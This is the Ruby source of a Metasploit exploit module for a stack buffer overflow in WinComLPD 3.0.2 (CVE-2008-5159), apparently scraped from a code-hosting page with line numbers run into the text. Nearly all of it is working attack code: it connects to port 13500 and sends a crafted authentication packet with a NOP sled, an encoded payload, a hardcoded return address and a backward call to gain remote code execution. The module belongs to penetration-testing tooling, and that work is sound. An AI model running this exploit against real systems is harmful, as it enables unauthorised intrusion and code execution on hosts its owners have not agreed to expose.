Path: blob/master/modules/exploits/windows/lpd/wincomlpd_admin.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'WinComLPD Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.17By sending an overly long authentication packet to the remote18administration service, an attacker may be able to execute arbitrary19code.20},21'Author' => 'MC',22'License' => MSF_LICENSE,23'References' => [24['CVE', '2008-5159'],25['OSVDB', '42861'],26['BID', '27614'],27],28'DefaultOptions' => {29'EXITFUNC' => 'thread',30},31'Payload' => {32'Space' => 600,33'BadChars' => "\x00\x0a",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38[ 'WinComLPD 3.0.2.623', { 'Ret' => 0x0047d7a7 } ],39],40'Privileged' => true,41'DisclosureDate' => '2008-02-04',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options([Opt::RPORT(13500)], self)52end5354def exploit55connect5657# 'net start lpdservice' after you migrate!58sploit = "\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F"59sploit << make_nops(872 - payload.encoded.length)60sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)61sploit << make_nops(2) + [target.ret].pack('V') + make_nops(8)62sploit << [0xe8, -550].pack('CV') + rand_text_alpha(rand(324) + 1)6364print_status("Trying target #{target.name}...")6566sock.puts(sploit)67select(nil, nil, nil, 5)6869handler70disconnect71end72end737475